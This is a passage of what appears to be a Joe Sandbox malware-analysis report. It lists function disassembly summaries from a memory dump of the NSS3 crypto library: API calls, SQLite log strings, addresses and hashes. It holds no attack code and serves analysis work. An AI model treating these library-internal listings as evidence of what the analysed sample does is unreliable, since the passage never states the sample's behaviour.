Part of subcall function 6CBF6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBF6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CBF7D8F,?,?), ref: 6CBF6FE1

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction ID: 6d861ddbd94dfd0dbc73e0e5ca91dee68d65589177380ac221d8e5bd80d5e88c
Opcode Fuzzy Hash: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction Fuzzy Hash: 61717F71D106869BEB00CF25CD40BAABBA4FF95308F154269EC18D7B11F770E999CB91

Function 6CC30FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC31057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC31085
PK11_GetAllTokens.NSS3 ref: 6CC310B1
free.MOZGLUE(?), ref: 6CC31107
PR_SetError.NSS3(00000000,00000000), ref: 6CC31172
free.MOZGLUE(?), ref: 6CC31182
free.MOZGLUE(?), ref: 6CC311A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC311C5

Part of subcall function 6CC352C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC0EAC5,00000001), ref: 6CC352DF
Part of subcall function 6CC352C0: EnterCriticalSection.KERNEL32(?), ref: 6CC352F3
Part of subcall function 6CC352C0: PR_Unlock.NSS3(?), ref: 6CC35358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311F3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction ID: 5173acb69190c55022cb603749b680adc3e97c23975f837712d1df268ad87104
Opcode Fuzzy Hash: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction Fuzzy Hash: 466180B0E003559FEB00DF69E881BAABBB4BF44348F145128E91DAB741FB31E955CB91

Function 6CC3ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEF1
free.MOZGLUE(6CC1CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?), ref: 6CC3AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AF30

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction ID: 9eb83825e406b00043fbe798ee72156792f9d6ce7fb80132f83f7a7b05dfa110
Opcode Fuzzy Hash: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction Fuzzy Hash: C651DDB1A00611AFEF04DF69E884B5AB7B8BF48318F145664E90C97A51F731E8B4CBD1

Function 6CC14CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC1AB7F,?,00000000,?), ref: 6CC14CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC1AB7F,?,00000000,?), ref: 6CC14CC8
TlsGetValue.KERNEL32(?,6CC1AB7F,?,00000000,?), ref: 6CC14CE0
EnterCriticalSection.KERNEL32(?,?,6CC1AB7F,?,00000000,?), ref: 6CC14CF4
PL_HashTableLookup.NSS3(?,?,?,6CC1AB7F,?,00000000,?), ref: 6CC14D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC14D10

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC14D26

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC14D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC14DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC14E02

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction ID: 1196f0f4ef7452b2c3c62d88d38c256caeff8eb1d22be480e6d2ad80b602e21b
Opcode Fuzzy Hash: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction Fuzzy Hash: A641A8B5A042059BEF01AF69EC40A6677B8BF0525DF0441B0ED1897B12FB31D958D7E2

Function 6CC94A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6CC8AEC0,00000A20,00000000), ref: 6CC94A8B

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6CC94AAA

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6CC94ABD

Part of subcall function 6CC50F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
Part of subcall function 6CC50F10: malloc.MOZGLUE(00000001), ref: 6CC50F30
Part of subcall function 6CC50F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6CC94AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6CC94AEC

Part of subcall function 6CC4FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6CC94B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6CC94B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CC94B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC94B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC94B7E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: f551c1368718d2315cff111ebc2b3992b21bb681217b7ddbba7be8e4fa5a946b
Instruction ID: bb7e6b91950912ba35afd22645a442067dfd3177624f9358073789dd17366b15
Opcode Fuzzy Hash: f551c1368718d2315cff111ebc2b3992b21bb681217b7ddbba7be8e4fa5a946b
Instruction Fuzzy Hash: 0931BFB55006019FE710CF25DC81A977BF8EF0924CB048569ED5AC7B02F731E519CBA1

Function 6CC189C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CC1AE9B,00000000,?,?), ref: 6CC189DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?,?,00000000), ref: 6CC189EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B), ref: 6CC18A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CBF2D6B,?), ref: 6CC18A11

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: ea674c071c4dcc8ba4edcd95d42cb8cdba86acd438f7d9075e6d86eb1e95caef
Instruction ID: e64671c4a9079b36af33586cf2b8403981ee72290041701e5d4d481320adbdac
Opcode Fuzzy Hash: ea674c071c4dcc8ba4edcd95d42cb8cdba86acd438f7d9075e6d86eb1e95caef
Instruction Fuzzy Hash: FE11EBB1E0C3005BFB005A676C81FAB35989B4175DF084076EE0999F42F722D469E1B2

Function 6CBF2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33

Part of subcall function 6CC4FD80: free.MOZGLUE(00000000,?,?), ref: 6CC4FDD1

TlsGetValue.KERNEL32 ref: 6CBF2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
PR_Unlock.NSS3 ref: 6CBF2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBF2EC5

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction ID: 65529695e063daad821c81591d0445753460be96ccb5edd6eaefc12e7b1f68a7
Opcode Fuzzy Hash: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction Fuzzy Hash: F7210772E00185ABFF002F68EC49A9A3A78DB5234DF544030EE2886711F732C55DD6A3

Function 6CBDFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBDFD18
sqlite3_initialize.NSS3 ref: 6CBDFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBDFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CBDFD99
sqlite3_free.NSS3(00000000), ref: 6CBDFE3C
sqlite3_free.NSS3(?), ref: 6CBDFEE3
sqlite3_free.NSS3(?), ref: 6CBDFEEE

Strings

simple, xrefs: 6CBDFC79

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: ad483c893071d68f222b2f335637804d531b02b421d117894bc0a330aa6e22c3
Instruction ID: e819abe51f157f5bca552c548cecd6661ed8834834240be09e6979444fd67fef
Opcode Fuzzy Hash: ad483c893071d68f222b2f335637804d531b02b421d117894bc0a330aa6e22c3
Instruction Fuzzy Hash: BE9172B0E052468FDB04CF55C880A6AB7B2FF85318F25C568D8199BB52E731F951CB51

Function 6CBE5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CBE5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBE5EED

Strings

misuse, xrefs: 6CBE5EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBE5ED1
%s at line %d of [%.10s], xrefs: 6CBE5EE0
invalid, xrefs: 6CBE5EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CBE5E64
API call with %s database connection pointer, xrefs: 6CBE5EC3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 3484acacf8a47c753133c5523b62e9ef263bc9ae3ed3dafa46dca390eedcaec1
Instruction ID: 71721757502ccde672eb0003a5b3974737bcb54bf6847158c245cc11a26267a3
Opcode Fuzzy Hash: 3484acacf8a47c753133c5523b62e9ef263bc9ae3ed3dafa46dca390eedcaec1
Instruction Fuzzy Hash: 6681E530B056A19BEB19CF14C848B6A7370FF49B4CF288259D8155BB51D730E84ACBDA

Function 6CBCDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBCDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBCDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBCDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CBCDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBCDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBCDE52, 6CBCDE81
%s at line %d of [%.10s], xrefs: 6CBCDE61, 6CBCDE90
database corruption, xrefs: 6CBCDE5C, 6CBCDE8B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: b91c9efe7fccda6cb1c076f3785161301fc83a8f8fc98df1c23133ed35fa3185
Instruction ID: dffbfc24bac3490d34cbb3ef58a5360f698fbc35dfb6cb771bded9bf09e0cd74
Opcode Fuzzy Hash: b91c9efe7fccda6cb1c076f3785161301fc83a8f8fc98df1c23133ed35fa3185
Instruction Fuzzy Hash: 9E81CD75B44391AFD714CF35D880B6A77E1EF84308F14882DE99A8BA91EB31E845CB53

Function 6CB7CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB7B999), ref: 6CB7D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB7B999), ref: 6CCC972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7CFDD, 6CB7D00E, 6CB7D022, 6CB7D033, 6CCC9780
%s at line %d of [%.10s], xrefs: 6CB7CFEC, 6CB7D018, 6CB7D029, 6CB7D03F, 6CCC978B
database corruption, xrefs: 6CB7CFE7, 6CB7D013, 6CB7D028, 6CB7D039, 6CB7D03E, 6CCC9786

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction ID: c0d9f061a68d3413a890ed6bc9b4efbb5e6fe8d80a3473dd508f6722f686f41c
Opcode Fuzzy Hash: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction Fuzzy Hash: A3615A71A042509BD310CF29C840BA7B7F5EF45318F68456DE8499FB82E376D847C7A2

Function 6CC7EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EF6D

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

htonl.WSOCK32(00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EFE4
htonl.WSOCK32(?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EFF1
memcpy.VCRUNTIME140(?,?,6CC9A4A1,?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7F027

Strings

dtls13, xrefs: 6CC7EF33

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
